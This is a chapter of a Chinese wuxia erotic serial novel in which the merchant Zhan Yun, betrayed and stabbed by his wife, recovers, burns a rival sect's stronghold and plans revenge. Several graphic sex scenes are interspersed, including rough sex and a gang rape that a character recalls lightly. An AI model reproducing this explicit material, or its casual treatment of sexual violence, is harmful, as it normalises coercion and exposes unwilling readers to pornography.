图片载入中

逆天之刃

特大字】 【大字】 【中字】 【小字

第二章

展云感到自己的身体好像是被烈火燃烧,又像被无数的虫蛇撕咬。啊呀一声展云坐了起来,一阵刺骨的疼痛让他又躺了下去,展云感到此时自己虚弱的连一根针都无法拿起。

“展公子你终于醒了!我这就去告诉楼主……”一名容貌俊俏身穿绿色长裙的少女,满脸惊喜的看着展云转身跑了出去。

展云喘了几口粗气感到身上的疼痛减轻了许多,开始打量起四周来。这是一间非常典雅宽大的房间。里面的装饰古色古香,又不失豪华精美。展云开始疑惑自己是在哪里,又是谁救了自己。

“展公子你可醒了!楼主天天都来看你……”这是那名少女又回来了,手里捧着一个玉碗。

展云有些奇怪这名少女怎么这么快就回来了,而且还换了一套粉红色的衣裙。

不过展云感到这位少女不是这里的主人,因为她梳着双丫髻的发式,这种发式是大齐朝丫鬟侍女标准的发型。

“谢天谢地!展公子醒了……”随着一阵急促的脚步声,一名身穿宫装的丽人走了进来。

尽管身负重伤展云还是有了一种惊艳的感觉,这名宫装丽人美的令人炫目。

完美的五官没有任何的瑕疵,尽管身穿宽大的宫装,高挑的身材依然显得是那么的婀娜万千。很难在这张美丽高贵的俏脸上预测她的年龄,她既有二十多岁的明艳,又有三十来岁的成熟与干练。

“多谢百里楼主救命之恩……”展云吃力的想起身行礼,尽管那日百里晨珍带着面纱,可展云记得她雍容的声音与充满睿智的明眸。

“不必如此!应该是我先感谢你才是……那日要不是你出身相助我不见得能在连云寨的偷袭下全身而退……”百里晨珍连忙按住展云。

“我这是在哪里……”展云只好躺在床上,他确实没有坐起来的力气。

“这里是青马岭!我们七星楼的大本营……你已经昏迷了整整十天了……这是最好的疗伤药,可趁热喝了吧……”百里晨珍接过了红衣少女手里的玉碗。

“不敢劳楼主大驾!我自己来……”展云连忙推辞。

“还是我来吧……”红衣少女从百里晨珍手里取回玉碗。

尽管这黑乎乎的药汁非常的苦涩,展云还是喝了个干净,绿衣的少女又拿过清水为展云漱口。展云发现这两位少女简直就是从一个模子里刻出来的,无论是相貌还是身材都一模一样。

“这是我的两位贴身侍女,她们是双胞姐妹年龄相差不到半个时辰。由于长的相像我有时也会认错……穿红衣的是姐姐玉竹,穿绿衣的是妹妹琴音。”百里晨珍看出了展云的疑惑。

“楼主是怎么救了我的……”可能的药力的作用展云恢复了一声气力。

“自从那日之后我就命人调查你的底细,知道你是云陵府的富商之后,我就让开阳楼武曲星君的几名手下留意你的行踪。我放心我没有任何的恶意,只想看看你有什么需要帮助的地方,我百里晨珍有恩必报只想还你一个人情……”“十天前你与夫人一起出湖,我的人远远跟在后面。结果看到有人在山顶打斗,你随即坠落悬崖。那些人走后他们就到崖下寻找,可没有找到……不过在回来的路上他们在离云峰岛十多里的湖面上发现了你……可能是你被水下的暗流卷到了那里……他们见你还有一丝气息本想把你送回家……可他们看到你夫人是与那些人一起离开的……就有了疑虑只好日夜兼程把你送到这里……”百里晨珍大体说了一下救起展云的经过。

“幸亏没有把我送回家……那样我真的有死无生了……”展云把那日的情景说了出来,包括被自己的妻子背后刺了一剑。

“这背后一定有秘密!不过你先养好伤再说……你家里的情况我会派人追查……”百里晨珍安慰着展云。

“我那日穿的衣服还在吗?”展云想起了什么。

“都已破烂了!不过我让人保留了……”百里晨珍让红衣少女玉竹去取。

不一会玉竹就拿来了一个包袱,衣服上面的血迹已经变成了黑褐色。在衣服上面还摆放着一把飞刀两枚三棱梭一根双股针三枚金钱镖,一共七枚暗器。在这些暗器旁边还有一个二十两的银锭。

“你能活下来真是一个奇迹!这些暗器都是从你身上取下来的……那背后的一剑更是凶险是直刺肾门的,你精湛的内功帮你逃过了这一劫,刹那间的自我防护把你的肾门向左游离了半寸。这等神奇的功夫我从所未闻……”百里晨珍摆弄着这些做工非常精致的暗器。

展云吃力的拿过长衫,撕开衣襟的边角取出了一个非常小巧的血珊瑚印章。

“……在云陵府西南七十里处有一个叫柳河湾的小镇……在镇东头有个李家肉铺……请楼主派人替我送一封信……”做完这些展云居然出了一身冷汗。

琴音连忙取来了笔墨纸砚,由于展云无法亲自书写只能由百里晨珍代写。

写完之后展云在信尾不但按上了印章还有自己的手印,百里晨珍命人火速送到。

*** *** *** ***在云陵府展云的大宅里,夏百进已经掌管了一起,同时观海阁的人马也住了进来。原先那些的仆人都被遣散了,被一些身形彪悍手拿利刃的大汉代替了。这里好像突然变成了一个戒备森严的堡垒,每天有人在不停的巡视,一天到晚从不间断。

夏雪将手里的石子扔向了花园的鱼池,如今虽然景色依旧可已经物是人非。

看了看一旁的小楼,一滴清泪溢出了眼眶。

“小雪妹妹!在想什么呢……”一位高大健壮的年轻人悄悄的来到夏雪的身旁,抬手在她圆滚滚的屁股上摸了一把。

“柳少爷!你放尊重一点……”夏雪一把推开柳勇走开了。

“一个陪嫁丫头神气什么!我早晚肏的你喊爷爷……”柳勇看着夏雪的背影一脸的凶恶。

可柳勇拿夏雪也没有办法,夏雪虽然只是个丫鬟,可师母却对她异常的宠爱。

曾经多次警告柳勇不要对夏雪有非分之想,就连一直对着俏丫头虎视眈眈的师父夏百进也没有得逞。

柳勇也很疑惑师母韦云英也是个裤带松的女人,不但在江湖上有许多露水情缘,跟自己也是多次上床。可师母却非常看重夏雪的贞操,不但特别维护夏雪还把自己全部的绝学传给了她。

满腔欲火的柳勇非常沮丧,又看了看旁边的小楼狠狠跺了一下脚气唿唿的走开了。

在小楼的卧室里地面上散落着被撕碎的衣物,原本是展云妻子的夏芳容,却浑身赤裸的趴伏的秀床上,像小狗一样被一位男人抱着浑圆的屁股从后面肏屄。

正在肏屄的年轻男人有着英俊的五官强壮的身躯,他肏干的动作异常的狂野,他就是绝剑秀士上官浪。每次上官浪都是尽量将坚挺的肉屌抽出,只留硕大的屌头在屄缝口然后再用尽力气一插到底。在肏屄的同时上官浪一手揪着夏芳容的秀发,一手不停的扇着她柔软屁股。

夏芳容原本雪白的屁股在上官浪的抽打下,已经出现了大片鲜红的手印。

发根的疼痛令夏芳容的挺起了上身,这让她的奶子越发的挺拔。

夏芳容的脑海里浮现出以前经历过的男人,在她有生以来共有过三个男人。

师兄柳勇是夏芳容第一个男人,那是她只有十六岁,在好奇的促使下稀里煳涂的被骗上了床。后来游历江湖与武林中公认的美男子上官浪结识,两人一见钟情虽然两人有聚有散可也双宿双飞两三个年头。

那段时光是夏芳容自认最有激情的岁月,那怕后来奉父命嫁给展云,夏芳容还是忘不了那个桀骜不驯的上官浪。夏芳容在没有背叛展云之前就经常偷偷的把他与上官浪做对比。

他们同样的高大英俊,展云还比上官浪多了一丝读书人的文雅。在鱼水之欢的时候,两人同样有着强壮的身体英俊的相貌与粗大的性器,甚至展云比上官浪的还要略胜一筹。

在父亲打算对付展云的时候,夏芳容还有些犹豫。可当上官浪出现在自己面前的时候,夏芳容仿佛受到了魔鬼的诱惑,几乎没有进行任何的反抗就投入了这个老情人的怀抱。

在展云外出的那段时间,夏芳容与上官浪每天都会疯狂的肏屄。不管在外面的客栈还有云峰岛的密林,那怕展云在从安平府回来的当晚,夏芳容还像发情的母狗一样,在他们夫妻的卧房里为上官浪舔舐肉屌。

在云峰岛拜祭的时候,更是将利剑刺向了自己的丈夫。

一只大手握住了自己不停摆动了奶子,那用力的挤压让夏芳容发出哀鸣一般的呻吟,同时夏芳容也明白了自己为什么对上官浪念念不忘。展云与自己肏屄的时候,虽然有时动作也会激烈,可他从不暴戾一直很顾及自己的感受。

而上官浪与自己肏屄的时候,那野蛮狂横的动作好像要把自己肏个粉碎,可夏芳容就喜欢这种被蹂躏被摧毁的感觉。

上官浪吸引夏芳容的还有重要的一点那就是野心,展云只想着做一个本本分分的生意人,可上官浪满脑子想的是如何称霸江湖,成为武林的主宰。

夏芳容与展云结婚之后虽然生活安逸,可她不想做一个大门不出二门不迈的贵妇。在夏芳容与上官浪在一起的时候,每天都是前唿后拥被无数人赞美奉承。

在江湖上她有着响亮的名号,在夏芳容内心的最深处她不想默默无闻的过完这一辈子。

感到自己浪屄里的肉屌突然粗大了一些,夏芳容知道上官浪快要射精了连忙收缩屄缝,让上官浪的感觉更加的强烈。

上官浪射精之后,将粘煳煳的肉屌插进夏芳容的嘴里,让她舔舐干净。

虽然顺利击杀了展云,可后续的工作一波三折并不如意。

首先没有找到展云的尸体,夏百进他们只好杀了一个体现与展云相似的人,毁去五官顶替展云的尸体。没想到麻烦才刚刚开始,首先是展云船行的货船与车马行的车马全部不见了,就像凭空消失了一样。虽然水手与马夫还在,可没有船只与车辆根本无法进行日常的生意。

然后展云存在汇通钱庄的十几万两白银无法取出,钱庄的人说了要想取出这些银子,不但要有票据,还要有展云专用的印章。夏百进他们找了展云几枚平常使用的印章,可都对不上号。夏百进他们只能一筹莫展,虽然擎天剑的名号响彻天下,观海阁也是独霸一方,可他们拿汇通钱庄没有一点办法。

这汇通钱庄不但是大齐朝最大的钱庄,而且后台大的慎人。钱庄东家的大公子在边关立过三品战功,是皇上钦封的三品博远侯,二公子是殿试的榜眼,如今是翰林院学士更是权倾朝野晋王府的郡马。

夏百进他们就是武功再高也不敢去汇通钱庄找麻烦,江湖人的法则就是尽量避免与官府发生摩擦。

夏百进他们还是有不少收获,展云在后花园假山下面的地窖里,藏了三万两的白银与一万两的赤金。这些钱足够夏百进他们招募大批的亡命之徒。

在云峰岛搜寻怒蛟帮宝藏的工作已经开始进行,可岛上的每一个角落都探查了好几遍,还是没有宝藏的眉目。

就在展云府邸几百丈之外有一家生意兴隆的临江酒楼,后院里非常安静没有前厅人来人往的嘈杂。酒楼的张掌柜正毕恭毕敬的站在院门口,院子里整齐的站着六名大汉,他们手持各色兵刃面目狰狞强壮如狮。

在门窗紧闭的屋子里,一名身材惹火俏丽如花的女人正赤裸裸的跨坐在一个同样一丝不挂的男人身上扭动屁股。

“堡主!你的肉屌好大啊……小屄都让你撑坏了……”年轻的女人拉着男人的大手按在了自己不同摇晃的奶子上。

“小淫娃!就知道说话讨我高兴……谁不知道我们燕儿的小屄非同凡响……就连门外巨灵的那根万里难挑一巨屌……你也能轻松接下……”男人捏了一下女人的奶头。

“堡主坏死了!那次喝醉了让六猛兽轮奸我……还说是要锻炼我挨肏时的承受能力……那次差点被他们肏死了……”女人撅起小嘴收缩屄缝夹了男人的肉屌一下。

“事情进展的怎么样?”男人翻身将女人压在了身下,用力一挺腰将屌头顶在了女人浪屄的深处停止了肏干。

这个女人居然是夏百进徒弟柳勇的妻子飞燕周含香,而这皮肤黝黑体格精壮的中年男人是黑道大豪风雷堡堡主雷泰。

风雷堡是当今江北武林的除了七星楼与连云寨之外的第三大组合,堡主雷泰号称神手翻天是天下公认的顶尖高手之一。雷泰有三位夫人,大夫人十几年前就病故了,为他留下了两个儿子。大儿子夜游鹰雷横二儿子鉄枭雷冠,他们是年轻一辈中的高手也是贪花好色的淫魔。

二夫人妙观音范素华与三夫人凌云燕杜珍箐都是江湖上有名的女魔头。

周含香就是雷横三夫人凌云燕杜珍箐的徒弟,被雷横秘密安排接近柳勇并嫁给了他。

“……夏百进他们已经把云峰岛翻了好几遍……可一直没有宝藏的下落……是不是压根就没有什么宝藏……”周含香用两条修长的美腿勾住雷横的粗腰扭动着身体。

“不!这批宝藏绝对存在而且就在云峰岛……当年夏百进与高玄华逼问童海的时候,我就隐藏在不远处听得清清楚楚……这些年来我一直没有动手就是料到夏百进一定会有所行动……所以我才让你嫁给他徒弟打进他身边……这老匹夫表面上仁义道德,肚子里全是男盗女娼……你刚嫁给柳勇那小子不到一个月,夏百进就摸上了你的床……”雷横轻轻摇晃着腰胯让自己的肉屌在周含香的浪屄里旋转。

“……堡主……你什么时候动手……”周含香抱着雷横的后背让他压在自己身上。

“不急!如今我已经占了先机,今晚还得连夜赶回风雷堡……夏百进将女儿嫁给展云以此接收了展云的家产,我螳螂捕蝉将你嫁给他的徒弟,我与夏百进有着相同的目的……你要密切监视夏百进的动作,只要他一找到宝藏我立马就来个黄雀在后……”

“为什么走的这么急……”

“如今七星楼与连云寨剑拔弩张,随时有可能发生大规模的血战……我已经让费副堡主带领一批高手去为邢飞助拳了……”雷横低头咬了一下周含香肿胀的奶头。

“我想堡主不会真心协助连云寨吧……”周含香挺起上身让雷横更顺利的吸吮自己的奶子。

“还是我的燕儿聪明!我与邢飞虽然有些交情,可那都是场面上的样子罢了……我已经告诉费副堡主出工不出力,重点留意局势变化。最好让他们斗个两败俱伤……”雷横说着又狠狠肏干了几下。

“那样堡主就是江北唯一的霸主了……”周含香扭动着屁股迎合着雷横的肏干。

“这次我把铁鹰与狂獒留下配合你的行动……铁鹰的轻功出类拔萃,狂獒精通易容术对你也有好处……”雷横说到这里停了下来。

“有什么好处……”周含香有些纳闷。

“在六猛兽之中狂獒的舌头是最灵活的……”雷横淫笑了起来。

“堡主坏死了……”周含香的四肢像八爪鱼一样缠住了雷横。

*** *** *** ***展云身体复原的速度远远超出百里晨珍的预期,在醒来的第二天下午就能下地活动了。这几天展云每天都会花上三个时辰的时间打坐,他要尽快的恢复过来。

妻子的背叛与岳父他们的谋杀,每天都让展云在屈辱与愤怒中煎熬。展云发誓一定让这些人付出血的代价。

百里晨珍对展云的照顾可以说是无微不至,不但提供了最后的疗伤圣药,还把贴身的两位侍女玉竹琴音调过来伺候展云的起居。

这天展云正在百里晨珍为他设置的书房里写字,展云是冷静坚忍的人,尽管无边的仇恨无时无刻不在啃噬着他的内心与灵魂,展云还是提醒自己要保持冷静。

在旁边还有一个中年人正聚精会神的看着展云笔走龙蛇,此人由于过于肥胖看上去比实际身高略矮一些。身穿紫色金边的绸缎长袍,腰带上镶满了各色宝石,看上去就像一个富得流油的暴发户。

单看此人的外表很少人会相信,他就是七星楼七大星君中掌管天权楼的文曲星君方维兴。你不要被方维兴的外表迷惑,他的青砂掌开碑裂石如同儿戏,而且他还极富文采写了一手好字。

展云刚写完一篇水龙吟,方维兴还没有来得及夸奖几句,百里晨珍带着一名老者与一名年轻美貌的少妇进入了书房。

“少爷!”两人快步来到展云身边神色非常的激动。

这两人就是山海夜叉屠百川与水蛇邱琳。

看着他们主仆见面,百里晨珍与方维兴轻轻退了出去。

“少爷!可算见到你了……担心死我们了……”邱琳的眼泪都流出来了。

展云连忙让他们坐下,玉竹端上了茶水。展云先说了一下自己被七星楼救起的经过,屠百川与邱琳也说了一下各种的情况。

原来展云遇袭的时候,邱琳与鲨婆婆也在岛上。听到了鸣镝之声,就知道发生了意外。展云早就与屠百川曲森他们说过,一旦自己遭遇了什么不测他们应该如何应对。邱琳与鲨婆婆按照事先展云的安排跳水逃逸,她们婆媳都是水贼出身水中功夫精湛无比。

当夏百进与上官风去杀她们灭口的时候,她们早已在云陵湖里无影无踪了。

上岸之后鲨婆婆去了船行,邱琳则去了祁庄集通知屠百川。就在夏百进他们在湖面寻找展云尸体的时候,屠百川带着亲信的弟子将所有的车马赶进了西南莽莽的大山之中。

同时曲森也将船行的全部货船驶出码头顺江东下,进入主航道之后让那些水手游泳上岸。天黑之后趁着夜色,曲森父子与少数可靠的手下将货船驶入了云陵湖北面的大沼泽。

那片大沼泽绵绵数百里,不但芦苇荡一望无际还有无数顺水移动的浮洲。别说是百多艘货船,就是千军万马也能隐藏。藏匿好车马与船只之后,屠百川与曲森他们就在事先约定好的地方等待展云的消息。

在焦急的等待了十三天之后,终于等到了七星楼传信的使者。

见到展云转危为安之后,屠百川与邱琳放下心来。又写了书信让七星楼传给曲森他们,让他们耐心等待展云伤势痊愈之后就一起返回。

于是屠百川与邱琳就在七星楼住了下来,展云的身体也正以奇迹般的速度恢复。

终于在十天后展云的身体痊愈了,百里晨珍设下了酒宴为他们送行。酒宴上七星楼的七大星君黑虎青狮两大护卫都到齐了。

场面非常热烈,展云在养伤期间与他们都混熟了。

“我七星楼上下也有数千之众,其中也不乏一流高手……展公子回去复仇为什么不让我们略尽绵薄之力……”百里晨珍看了看旁边的展云。

“这是我自己的是事情,不想麻烦大家!再说你们与连云寨的对决迫在眉睫,我虽无法助你们一臂之力,但也不能拖你们后腿……”展云非常的诚恳。

“你有必胜的把我吗?夏百进上官风高玄华他们名列天下四大名剑,如果以一对三我都没有多少把握取胜……”百里晨珍非常关心这个问题。

七星楼的眼线早已深入了云陵府,已经探明了事情的大概。

“请楼主放心!他们三人的剑法虽然绝冠天下,可我熟悉他们的剑法……”展云的回答非常坚定。

七星楼不但为展云探明了事情的大概,同时也搜集到了他们武功的特点。

夏芳容几乎天天在家练剑,她练的就是家传擎天十三式与绝剑秀士传授的沧海七绝剑法。展云对这两套剑法非常熟悉,高玄华的冷月剑法虽然没有太多了解。

可高玄华与夏百进是同门师兄弟,他的剑法与夏百进艺出同源应该有许多相似之处。

“既然展公子执意如此我也不愿强求!对了……展公子你擅长什么兵器?”百里晨珍问了一句。

“我大师父教过我几招刀法!以前老是为了生意奔波,也没有时间打造趁手的兵刃……”展云想起了两位恩师。

“那我就送展公子一把刀吧……”百里晨珍给玉竹使了一个颜色。

不一会玉竹就端来了一个硕大的银盘,银盘以红绸垫底上面放着一把长刀。

展云握着象牙裹红铜的刀柄,将长刀抽出用黑犀牛皮做的刀鞘,一把长约四尺五寸宽约一掌的长刀出现在展云面前。

刀锋呈现极其均匀优美的弧线,而刃质的本身更是完善的无懈可击。泛闪着那种单纯得毫无杂色的莹澈蓝芒,光芒的来源是刀刃的表与里,看上去刀身似乎是半透明的一泓秋水,又像霜凝寒聚的月弧。不用挥舞刀身的光波便已时时流动闪烁,看上去这刀像是活的。

沿着刀身至刃口镂雕着十八轮回图,雕刻得如此精细,人脸上的毫发毕现,甚至连那笑纹、竖眉、泪痕、弯唇,也雕得如此清晰仔细,衬着洁白滑腻的象牙刀柄,真是寒芒如电杀气逼人。

“楼主!这太贵重了……”展云连忙推辞。

“这把刀自从打造出来就被闲置了,这十年来我不止一次听到过它的悲鸣……如今它属于你了……给它取个名字吧!”百里晨珍的眼神让展云不能拒绝。

“……就叫它轮回吧……请楼主放心我一定不辜负此刀……”展云也知道自己确实需要一把利刃。

展云之前一直尽量避免卷入江湖的是非,如今握着长刀的刀柄他知道自己已经身处这险恶的江湖了。

酒宴结束之后展云他们就离开青马岭七星楼,胯下的三匹骏马都是精挑细选的。展云他们并没有直接赶回云陵府,而且星夜兼程向鲁东而去。展云的目标是上官风的老巢观海阁。

展云知道上官风高玄华与他们的妻女亲信都赶到了云陵府,观海阁只要几十个弟子看守。展云就是要捣毁上官风的老巢,以此来分散他们的力量。

几天后气势雄伟的观海阁被一把大火烧成了灰烬,留守阁中的三十五名弟子全部身首异处。

在观海阁以南两百里处有一个叫孤松口的地方,一条小路从两山之间穿过,这是云陵府通往观海阁的必经之路。离捣毁观海阁已经过去十天了,展云与屠百川邱琳前天就开始在这里等候。

展云坐靠在一株大树下,轻轻擦拭着轮回刀蓝汪汪的刀身。在留守观海阁的弟子中有十七人是被这把刀砍去了头颅,其实负责留守的是三十六人,展云有意放走了一个。展云这样做就是让他给上官风报信,展云很清楚如果与夏百进上官风他们单打独斗,自己毫不畏惧。可如今他们抱成了一团,而且手下爪牙众多,展云也不敢冒险。

所以展云打算声东击西围魏救赵,先把上官风调出云陵府,在他回来的路上袭杀上官风。展云反复推测过,上官风知道观海阁被毁,他也不可能把力量全部调回,不过上官风与高玄华可能回来一个。这两个人无论杀了谁,都会严重消耗他们的实力。

如果按照预计的时间,上官风的人马最早前天晚上最迟今天中午就会赶到孤松口。可如今已经夕阳西下,还是没有动静。

“屠老!你先行离开把细软折合成现银存入汇通钱庄,沿路留下记号我与邱琳跟在后面……”展云将轮回刀插回刀鞘。

屠百川扛起钢叉从远处的树林里赶出一辆马车,车厢里是从观海阁洗劫的财宝。展云知道自己家中地窖里的金银,一定会被夏百进他们取出。这次在观海阁总算弥补了一些损失。

*** *** *** ***展云在云陵府的家门口悬挂的匾额发生了一些变化,夏百进将上面的展府换成了夏府。

外面夏日炎炎可宽敞的客房里却是一片春色。

上官风斜躺在一张春椅上,上身就穿了一件青衣短褂衣襟敞开着,露出结实的胸膛,下身赤裸着胯间直挺挺的肉屌挺立着。一个身材火辣的美妇赤裸裸的跪在上官风的双腿之间,正含着他的屌头吮吸。

这名美妇就是高玄华的老婆红娘子金薇,高玄华不但是观海阁的副阁主也是上官风的结拜兄弟。

金薇一边为上官风口交,一边将手伸进胯间抠挖自己的屄缝搓揉敏感的阴蒂。

这时房门被推开了绝剑秀士进来了。

金薇回头看了一下上官浪,不但没有惊慌失措还给他飞了一个媚眼,又低头继续含住了上官风的屌头。同时金薇把自己的圆滚滚的屁股又翘起了一些,好让上官浪清楚的透过臀缝看到自己因充血而分开的屄缝。

“父亲!大哥的飞鸽传书到了……还没有查到焚毁观海阁的凶手……”上官浪来到金薇的身后轻轻拍打着她雪白的屁股。

“来送信的人说他们是两个人而且蒙着面……你大哥又没有什么进展……哎……咱们这些年树敌太多,一时真无从查起……他们是谁呢……能干净利落的击杀我三十多名弟子……绝对是顶尖的高手……”上官风还是想不出头绪。

“夏百进好像对这事很关心,今早又问我查到凶手了吗?”上官浪的手穿过金薇的臀沟,抚摸着她潮湿的屄毛。

“咱们老窝被端最高兴的当属夏百进了,他巴不得咱们离开云陵府……你二叔呢?”上官风指的是高玄华。

“二叔与夏百进一早就去云峰岛了……”看着红娘子裂开的红褐色阴唇与里面粉嫩的屄肉,上官浪掏出早已勃起的肉屌肏了进去。

“看来宝藏一时半会也找不出来!下午你二叔回来的时候让他回去一趟……不管怎么说老窝毁了也得回去做一下姿态……”上官风捏了一下金薇垂在身下的奶头。

“我夫君整天为你们东奔西跑,你们却整天的肏他老婆……”金薇吐出上官风的屌头呻吟了一声,被这对父子同时肏上下两张嘴快感是那么强烈,而且上官浪的肉屌是那么的粗长有力。

“我二弟无法满足你这个淫妇,我们父子代劳是责无旁贷的事情……”上官风揪着金薇的头发又把肉屌塞进了她的嘴里。

“二婶!我心仪黛儿已经很久了……你能不能从中间撮合一下……”上官浪猛烈的抽插着肉屌,胯骨与金薇的屁股相撞发出啪啪的声响。

“……你追求黛儿我不阻拦……只要她同意就行……”金薇喜欢被这种粗野的方式肏屄。

上官浪没有再说什么,而是咬着牙肏的更用力了。

他们所说的黛儿就是高玄华与金薇的独生女儿高黛,高黛今年才二十二岁可五年前就已经名震天下,她不但剑法超群而且美艳万芳,在江湖上是名列江湖四凤的灵凤。高黛虽然与上官浪从小一起长大,上官浪也英姿不凡,可高黛一直对他非常反感。

上官浪一直没有对高黛下手,一是忌惮她的武功二是不敢挑战高玄华的底线。

十几年前高玄华被人暗算伤了下体,以致不能人道。这才使生性风流的金薇红杏出墙,在观海阁她与上官风的事情是公开的秘密。高玄华因为自身的原因,再加上上官风曾经对他有两次救命之恩,所以才没用撕破脸皮。

上官风与上官浪父子都很清楚,高玄华可以容忍妻子与他们的事情,可绝对不会容忍女儿受到伤害。高玄华自从不能人道之后,他的剑法越发的凌厉诡诈。

上官风与他切磋对招时,都感到越来越吃力了。

展云与邱琳跟在屠百川后面,一直保持着二三十里的距离。在袭击观海阁的时候,展云没有让邱琳露面。展云知道邱琳的水中功夫绝对是超一流的,可在陆地上却勉强算是二流。

邱琳在做水贼的时候就是专门负责望风踩点,江湖经验十分丰富,一路上让展云有了很多收获。一到晚上展云他们就会合在一起,计划第二天的行程。

这天展云让屠百川与邱琳先行赶到云陵府东北二百里处的辛州,在约定好地点等待自己。在路上展云一直在思索如何对付那个曾经的岳父与妻子。

如果一剑了解了他们,展云觉得太便宜他们了。以前展云只是一个生意人,他根本不知道江湖的险恶,几次出手也是出于无奈的自保。如今一张阴谋的大网扑向自己,展云还有许多头绪需要梳理。

就这样屠百川直奔辛州,邱琳不放心要求留下,展云只好答应下来。不过邱琳也知道跑生意与闯江湖是完全不同的概念,这位年轻英俊的主人需要重新面对另一个充满荆棘与险恶的环境。

于是邱琳化妆成卖艺的女子骑着毛驴走在前为展云打前站,她与展云的马匹被屠百川带走了。展云第一次打扮成江湖浪客的模样走在了大路上。

屠百川早年横行江湖,虽然杀人无数可被人追杀也是常事。所以屠百川也精通易容术,这段时间他把这门技艺教给了展云。易容术说白了就是化妆的技巧罢了,展云很快就掌握了。

中午十分展云来到了一个叫做孙家埠的集镇,小镇不大却非常的繁华。赶了一上午的路展云确实有些饿了,于是便走进了一家酒楼。选择了一个靠窗的座位点了几样酒菜,一边吃着一边小心打量着周围的食客。

以前展云外出的时候满脑子都是想着生意,这时他也开始观察别人的行为举动。展云非常聪明他以前从事的货运行业就属于江湖边缘的行业,再加上这段时间屠百川与邱琳两位老江湖的点拨,展云已经摸清了一下经验与门道。

坐在酒楼正门旁的那几人虽然身强力壮,可一看就是靠力气吃饭的贩夫走卒。

旁边的那一桌应该是生意人,不过从他们的穿着看只是小本买卖罢了。与展云相隔两张桌子是几个举止粗野大汉,一看就是大口喝酒大口吃肉,拳头上能站人胳膊上能跑马的江湖人。

听着他们大声嚷嚷着各自的风光经历,展云突然觉得很好笑,心里知道他们的现状绝对没有他们说的那样光彩。

“打扰兄台!酒楼已经客满了,可否能搭个桌……”一个身穿青色长袍的年轻人来到了展云桌前。

“相见便是有缘!这顿我请你……”展云四周看了一下果然都坐满,只要自己独占了一桌。

年轻人很干脆了坐到对面,展云又让伙计夹了两个菜。展云发现此人看上去身材不矮有些瘦弱,不过皮肤白皙五官异常精致。展云猜测此人是女扮男装,不过没有点破。

年轻人自报叫韩玉是出门游学的书生,她说话的声音让展云感觉确定了自己的猜测。韩玉非常健谈见识也相当广博,一顿饭吃的也非常融洽。

饭后韩玉邀请展云陪她去黄沙河一游,展云推脱说有要事在身无法同行。不过展云对这个自称韩玉的女人印象不错,她言谈举止落落大方有着江湖儿女特有的洒脱与豪爽,而且至少现在对自己没有恶意。

出来孙家埠展云与邱琳会合进入了西边连绵的大山,从这里翻过大山要比走官道去辛州节省不少时间。

“少爷!如果我真的去卖唱还真是不错的营生……”邱琳跟着展云的后面,山路虽然崎岖不过他们走的非常轻松。

一路上邱琳抱着琵琶在酒楼茶肆卖唱,念词唱曲声音婉转字正腔圆,不但打听到了不少消息还挣了不少赏钱。

“以后我开一家酒楼,你想什么时候唱就什么时候唱……”展云对这里很熟悉在前面开路。

“别说酒楼了!你刚才在酒楼把天上掉下来的艳福都浪费了……”邱琳用木棍将一只不知名的毒蛇挑开,在山里这些虫蛇非常常见,邱琳号称水蛇当然不怕这些毒虫。

“你知道韩玉的来历……”展云回头看了一下邱琳。

“她叫韩玉霜,她把名字少说了一个字!在江湖上这个韩玉霜可是一个名女人公认的风云人物,她无论是剑法轻功还是暗器都极有造诣,而且她心狠手辣有着冷魃的外号。如今冷魃的名号在江湖上有着很重的分量,连一些老前辈的风头都压了过去……”

“而且冷魃的行踪非常诡秘,有时带着大批武功高强的侍女随从干一些黑吃黑的勾当,有时也孤身一人在月黑风高之时拿人钱财替人消灾……而且冷魃喜欢勾引年轻英俊的男人,做个露水夫妻好合好散……在酒楼上我看出她对你有意思,不过冷魃对男人从不强求……”邱琳在打听消息方面有着独特的天赋。

“你知道还真不少……”展云将水囊递给邱琳。

“我还打听到了冷魃在这里出现的原因!一个月前冷魃的一个侍女被毒剑奸杀了,她一直在追杀毒剑。这冷魃真有一些胆量与自信……”邱琳喝完水擦了擦嫣红的小嘴。

展云在以前就听过毒剑的大名,他是当今江湖最具恶名的黑道高手。没有人知道他的真实姓名,只知道他毒剑的外号。

在五十年前江湖上出现了四位好杀成性武功超绝的绝顶高手,他们是氤氲神君、天目练气士、鬼眼魔陀与班疯子,当年死在他们手里的黑白高手不计其数,人们就把他们成为四大煞神。

其中氤氲神君虽然武功不是最高的,可他却是用毒的一代宗师。氤氲神君的毒药千变万化,既能无色无味杀人与无形,也能让人身受万般折磨求死不能。氤氲神君曾经与人打赌,一夜之间把一座小镇的男女老少全部毒死。

氤氲神君的兵器赤炎剑也是让人闻风丧胆的凶刃。传说氤氲神君的师祖曾经杀死了一条千年虺蛇,将它的獠牙制成了一把短剑。随后把短剑分别放在十九种世间奇毒里浸泡了整整十年,让巨蛇本身的毒性与各种毒液完全融合。

短剑炼制成功之后不但发出红色的光芒而且通体透明如同水晶,此剑不但削金断玉而且见血封喉奇毒无比。只要被划破皮肤,如果没有服用特制的解药,就会在两刻之内全身血管爆裂而死。

毒剑就是氤氲神君的唯一弟子,不但学得了一身制毒的技巧也授予了赤炎毒剑。

在大山的一处山谷里,展云与邱琳停了下来。已经在山里走了两天,明天下午就能走出这片大山进入辛州的地界。现在已经快到黄昏了,展云打算今天早点歇息。

在山谷里不但有一个可以栖身的山洞还有一个瀑布,在瀑布下面是一个水潭,由于长年累月的冲刷水潭的面积很大。

“少爷!没想到这里居然有这么大的青鱼,足够咱们吃两顿了……”邱琳一脸兴奋的从水潭里走出,一只手抠着一条大青鱼的膈鳃,看样子至少有七八斤。

“这么大的鱼都能抓到,不愧是水蛇……”展云低下头掩饰着自己的局促。

原来邱琳为了下水抓鱼方便,换上了特制的油绸水靠。这种利于潜水的衣服原本就非常贴身,如今一浸水更是紧紧箍在身上。邱琳身材极为健美修长,丰满挺拔的奶子将水靠的前面高高隆起。展云的目光是何等的锐利,甚至能看到乳峰顶端水靠下面那奶头的凸起。

邱琳胯部比一般女性的要宽一些,这事她的屁股越发浑圆挺翘,当她迎面向展云走来的时候,展云看到了她小腹下面那有些夸张的阴阜曲线。展云突然明白邱琳的外号为什么叫水蛇,因为她的腰肢特别的纤细,绝对称得上货真价实的水蛇腰。

看着邱琳那魔鬼一般的身材,展云突然有了一丝冲动。展云知道自己在男女方面是个欲望很强烈的人。

“我去生火烤鱼……”邱琳是北地胭脂又是江湖儿女生性豪放,对男女之防不是很计较。

“那好吧!你先烤着鱼我在四周转转……”展云说着运起轻功如一只大鸟般飘出了山谷。

